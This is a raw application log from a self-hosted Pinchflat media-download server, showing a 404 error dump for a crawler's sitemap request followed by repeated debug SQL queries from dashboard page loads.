#PID<0.162835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47570}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162836.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dNgIZ0_sIAlgAFowB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47570}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47570}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162836.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revali (truncated) 17:52:00.087 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:17.013 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:26.989 [info] GET / 17:52:26.989 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:52:26.989 [debug] QUERY OK source="settings" db=0.1ms idle=1706.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:26.990 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1706.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:52:26.990 [debug] QUERY OK source="sources" db=0.1ms idle=1509.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:52:26.991 [debug] QUERY OK source="media_items" db=1.1ms idle=706.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:26.992 [debug] QUERY OK source="media_items" db=0.3ms idle=509.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:26.992 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:26.992 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:26.993 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:26.994 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:52:26.994 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:26.995 [debug] QUERY OK source="media_items" db=0.4ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:26.995 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:52:26.998 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:52:26.999 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:26.999 [info] Sent 200 in 10ms 17:52:28.992 [info] GET / 17:52:28.992 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:52:28.993 [debug] QUERY OK source="settings" db=0.1ms idle=709.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:28.993 [debug] QUERY OK source="media_profiles" db=0.0ms idle=709.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:52:28.993 [debug] QUERY OK source="sources" db=0.1ms idle=710.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:52:28.994 [debug] QUERY OK source="media_items" db=0.4ms idle=710.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:28.994 [debug] QUERY OK source="media_items" db=0.2ms idle=510.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:28.995 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:28.995 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:28.995 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:28.996 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:52:28.997 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:28.998 [debug] QUERY OK source="media_items" db=0.4ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:28.998 [debug] QUERY OK source="sources" db=0.2ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:52:29.001 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:52:29.002 [debug] QUERY OK source="media_items" db=1.1ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:29.003 [info] Sent 200 in 10ms 17:52:40.600 [info] GET / 17:52:40.600 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:52:40.601 [debug] QUERY OK source="settings" db=0.1ms idle=317.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:40.601 [debug] QUERY OK source="media_profiles" db=0.0ms idle=317.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:52:40.601 [debug] QUERY OK source="sources" db=0.1ms idle=317.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:52:40.602 [debug] QUERY OK source="media_items" db=0.4ms idle=318.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:40.602 [debug] QUERY OK source="media_items" db=0.2ms idle=102.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:40.602 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:40.603 [debug] QUERY OK source="settings" db=0.2ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:40.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:52:40.604 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:52:40.605 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:52:40.605 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:52:40.606 [debug] QUERY OK source="sources" db=0.2ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:52:40.608 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:52:40.609 [debug] QUERY OK source="media_items" db=1.0ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN 